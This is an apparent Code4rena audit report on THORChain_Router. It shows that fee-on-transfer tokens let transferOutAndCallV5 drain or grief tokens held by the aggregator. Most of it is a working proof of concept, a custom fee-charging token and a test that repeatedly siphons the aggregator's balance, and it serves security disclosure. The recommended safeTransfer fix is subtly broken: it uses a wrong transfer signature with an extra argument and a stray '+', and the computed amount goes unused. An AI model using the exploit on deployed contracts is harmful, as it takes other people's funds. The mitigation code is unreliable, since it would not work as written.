[M-02] Incorrect call argument in THORChain_Router::_transferOutAndCallV5, leading to grief/steal of THORChain_Aggregator's funds or DoS

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/main/ethereum/contracts/THORChain_Router.sol#L368

Vulnerability details

Impact

When transferring a token, which is of type fee-on-transfer, in THORChain_Router::_transferOutAndCallV5, the token is first deposited to the THORChain_Aggregator and then THORChain_Aggregator::swapOutV5 is called with the same amount. The call will always revert if the THORChain_Aggregator does not have tokens or grief/steal (depending on the token) of THORChain_Aggregator's tokens.
An example of a fee-on-transfer token that is in the whitelist is PAXG see here
Loss of funds that are locked and waiting to be rescued in the THORChain_Aggregator

Proof of Concept

To reproduce this, please add the following test fee-on-transfer token.
Create a file inside ethereum/contracts with the name FeeOnTransferToken.sol
Paste this inside:

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

interface iERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

contract FeeOnTransferERC20Token is iERC20 {
    using SafeMath for uint256;

    string public name;
    string public symbol;
    uint256 public decimals = 18;
    uint256 public override totalSupply = 1 * 10 ** 6 * (10 ** decimals);
    uint256 immutable fee;

    mapping(address => uint256) public override balanceOf;
    mapping(address => mapping(address => uint256)) public override allowance;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(uint256 _fee) {
        balanceOf[msg.sender] = totalSupply;
        name = "Token";
        symbol = "TKN";
        emit Transfer(address(0), msg.sender, totalSupply);
        fee = _fee;
    }

    function mint(address to, uint256 value) public returns (bool success) {
        require(to != address(0), "address error");
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(address(0), to, value);
        return true;
    }

    function transfer(address to, uint256 value) public override returns (bool success) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) public override returns (bool success) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool success) {
        require(value <= allowance[from][msg.sender], "allowance error");
        allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address _from, address _to, uint256 _value) internal {
        require(_to != address(0), "address error");
        require(balanceOf[_from] >= _value, "balance error");
        require(balanceOf[_to].add(_value) >= balanceOf[_to], "balance error");
        balanceOf[_from] = balanceOf[_from].sub(_value);
        balanceOf[_to] = balanceOf[_to].add(_value.sub(fee));
        balanceOf[address(0)] = balanceOf[address(0)].add(fee);
        emit Transfer(_from, _to, _value);
    }
}

The next step is to add a test with this token. Because the other tests are with hard-coded gas asset assertion values, the easiest way is to add new test. Create a file in ethererum/test (next to other tests) and paste this:

const Router = artifacts.require('THORChain_Router');
const Aggregator = artifacts.require('THORChain_Aggregator');
const FailingAggregator = artifacts.require('THORChain_Failing_Aggregator');

const SushiRouter = artifacts.require('SushiRouterSmol');
const Token = artifacts.require('FeeOnTransferERC20Token');
const Weth = artifacts.require('WETH');
const BigNumber = require('bignumber.js');
const { expect } = require('chai');
function BN2Str(BN) {
  return new BigNumber(BN).toFixed();
}
function getBN(BN) {
  return new BigNumber(BN);
}

var ROUTER;
var ASGARD;
var AGG;
var WETH;
var SUSHIROUTER;
var FEE_ON_TRANSFER_TOKEN;
var WETH;
var ETH = '0x0000000000000000000000000000000000000000';
var USER1;

const _1 = '1000000000000000000';
const _10 = '10000000000000000000';
const _20 = '20000000000000000000';

const transferFee = '1000000';

const currentTime = Math.floor(Date.now() / 1000 + 15 * 60); // time plus 15 mins

describe('Aggregator griefing', function () {
  let accounts;

  before(async function () {
    accounts = await web3.eth.getAccounts();
    ROUTER = await Router.new();
    FEE_ON_TRANSFER_TOKEN = await Token.new(transferFee); // User gets 1m TOKENS during construction
    USER1 = accounts[0];
    ASGARD = accounts[3];

    WETH = await Weth.new();
    SUSHIROUTER = await SushiRouter.new(WETH.address);
    AGG = await Aggregator.new(WETH.address, SUSHIROUTER.address);
    FAIL_AGG = await FailingAggregator.new(WETH.address, SUSHIROUTER.address);
  });

  it('Should Deposit Assets to Router', async function () {
    await web3.eth.sendTransaction({
      to: SUSHIROUTER.address,
      from: USER1,
      value: _10,
    });
    await web3.eth.sendTransaction({
      to: WETH.address,
      from: USER1,
      value: _10,
    });
    await WETH.transfer(SUSHIROUTER.address, _10);

    expect(BN2Str(await web3.eth.getBalance(SUSHIROUTER.address))).to.equal(
      _10
    );
    expect(BN2Str(await WETH.balanceOf(SUSHIROUTER.address))).to.equal(_10);
  });

  it("Should grief/steal Aggregator's tokens on Swap Out using AggregatorV5 with FEE_ON_TRANSFER_TOKEN", async function () {
    /* 
      Mint FEE_ON_TRANSFER_TOKEN the aggregator
      This mocks a situation where the swapOutV5 has failed and vault's tokens are in the aggregator 
    */
    await FEE_ON_TRANSFER_TOKEN.mint(AGG.address, _20);

    /* Get starting balances of the FEE_ON_TRANSFER_TOKEN */
    const startingTokenBalanceOfUser1 = await FEE_ON_TRANSFER_TOKEN.balanceOf(
      USER1
    );
    const startingTokenBalanceOfAggregator =
      await FEE_ON_TRANSFER_TOKEN.balanceOf(AGG.address);
    const startingTokenBalanceOfSushiRouter =
      await FEE_ON_TRANSFER_TOKEN.balanceOf(SUSHIROUTER.address);

    /* Log starting balances */
    console.log(
      'Starting FEE_ON_TRANSFER_TOKEN Balance USER1:',
      BN2Str(startingTokenBalanceOfUser1)
    );
    console.log(
      'Starting FEE_ON_TRANSFER_TOKEN Balance SUSHIROUTER:',
      BN2Str(startingTokenBalanceOfSushiRouter)
    );
    console.log(
      'Starting FEE_ON_TRANSFER_TOKEN Balance Aggregator:',
      BN2Str(startingTokenBalanceOfAggregator)
    );

    /* User1 deposits tokens in the ASGARD vault */
    /* Remember that the vault will be credited _20 - transferFee */
    await FEE_ON_TRANSFER_TOKEN.approve(ROUTER.address, _20, { from: USER1 });
    await ROUTER.depositWithExpiry(
      ASGARD,
      FEE_ON_TRANSFER_TOKEN.address,
      _20,
      '',
      currentTime,
      {
        from: USER1,
      }
    );

    /* Log token balance of Router and the accounted allowance after deposit */
    const tokenBalanceOfRouter = await FEE_ON_TRANSFER_TOKEN.balanceOf(
      ROUTER.address
    );

    console.log(
      '\nFEE_ON_TRANSFER_TOKEN Balance Router:',
      BN2Str(tokenBalanceOfRouter)
    );
    expect(
      BN2Str(await FEE_ON_TRANSFER_TOKEN.balanceOf(ROUTER.address))
    ).to.equal(BN2Str(getBN(_20).minus(transferFee))); // after FEE_ON_TRANSFER_TOKEN deposit

    /* 
      The ASGARD initiates a transfer out and call
      This action transfers _1 token to the aggregator, 
      BUT the aggreagator receives _1 - transferFee because of the fee-on-transfer.
      The code in the router calls swapOutV5 with the _1, not _1 - transferFee.

      This will make the transaction to revert if the aggregator does not have enough tokens,
      because the swapOutV5 function will try to transfer _1 token, but it has _1 - transferFee.

      OR (like) in our case, the aggregator has tokens that should be rescued and the swapOutV5 is called with _1
      and the transfer fee is paid by the funds that should be rescued
     */
    const swaps = 7;
    const swapAmount = _1;

    for (let i = 0; i < swaps; i++) {
      await ROUTER.transferOutAndCallV5(
        [
          AGG.address,
          FEE_ON_TRANSFER_TOKEN.address,
          swapAmount,
          ETH,
          USER1,
          '0',
          'MEMO',
          '0x', // empty payload
          'bc123', // dummy address
        ],
        { from: ASGARD, value: 0 }
      );
    }

    /* Calculate total transfer fee paid */
    const totalAmountSwapped = getBN(swapAmount).multipliedBy(swaps);
    const totalTransferFeePaid = getBN(transferFee).multipliedBy(swaps);

    /* Get ending balances of the FEE_ON_TRANSFER_TOKEN */
    const endingTokenBalanceOfUser1 = await FEE_ON_TRANSFER_TOKEN.balanceOf(
      USER1
    );
    const endingTokenBalanceOfAggregator =
      await FEE_ON_TRANSFER_TOKEN.balanceOf(AGG.address);
    const endingTokenBalanceOfRouter = await FEE_ON_TRANSFER_TOKEN.balanceOf(
      ROUTER.address
    );
    const endingTokenBalanceOfSushiRouter =
      await FEE_ON_TRANSFER_TOKEN.balanceOf(SUSHIROUTER.address);

    /* Log starting balances */
    console.log(
      '\nFinal FEE_ON_TRANSFER_TOKEN Balance Aggregator:',
      BN2Str(endingTokenBalanceOfAggregator)
    );
    console.log(
      'Final FEE_ON_TRANSFER_TOKEN Balance USER1:',
      BN2Str(endingTokenBalanceOfUser1)
    );

    console.log(
      'Final FEE_ON_TRANSFER_TOKEN Balance SUSHIROUTER:',
      BN2Str(endingTokenBalanceOfSushiRouter)
    );
    console.log(
      'Final FEE_ON_TRANSFER_TOKEN Balance ROUTER:',
      BN2Str(endingTokenBalanceOfRouter)
    );

    /* Make assertions */
    /* Less 1 FEE_ON_TRANSFER_TOKEN - transfer fee (only one transfer User1 -> Router) */
    expect(
      BN2Str(await FEE_ON_TRANSFER_TOKEN.balanceOf(ROUTER.address))
    ).to.equal(BN2Str(getBN(_20).minus(totalAmountSwapped).minus(transferFee)));

    /* Add 1 FEE_ON_TRANSFER_TOKEN - (transfer fee) * swaps */
    expect(
      BN2Str(await FEE_ON_TRANSFER_TOKEN.balanceOf(SUSHIROUTER.address))
    ).to.equal(BN2Str(getBN(totalAmountSwapped).minus(totalTransferFeePaid)));

    /* KEY ASSERTIONS */
    /* Expect aggregator's funds to be rescued to be less than starting ones */
    expect(
      getBN(endingTokenBalanceOfAggregator).isLessThan(
        getBN(startingTokenBalanceOfAggregator)
      )
    ).to.equal(true);
  });
});

Tools Used

Manual Review

Recommended Mitigation Steps

Consider creating a safeTransfer function, similar to the safeTransferFrom:

Add this below THORChain_Router::safeTransferFrom

+ // Safe transfer in case asset charges transfer fees
+ function safeTransfer(address _asset, address _to, uint256 _amount) internal returns (uint256 amount) {
+   uint256 _startBal = iERC20(_asset).balanceOf(_to);
+   (bool success, bytes memory data) =
+       _asset.call(abi.encodeWithSignature("transfer(address,address,uint256)", msg.sender, _to, + _amount));
+   require(success && (data.length == 0 || abi.decode(data, (bool))), "Failed to transfer token");
+   return (iERC20(_asset).balanceOf(_to) - _startBal);
+ }

In THORChain_Router::_transferOutAndCallV5

- (bool transferSuccess, bytes memory data) = aggregationPayload.fromAsset.call(
-   abi.encodeWithSignature(
-       "transfer(address,uint256)", aggregationPayload.target, aggregationPayload.fromAmount
-   )
- );
-
- require(
-  transferSuccess && (data.length == 0 || abi.decode(data, (bool))),
-  "Failed to transfer token before dex agg call"
- );

+ uint256 safeAmount =
+  safeTransfer(aggregationPayload.fromAsset, aggregationPayload.target, aggregationPayload.fromAmount);

Assessed type

Token-Transfer

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 marked the issue as selected for report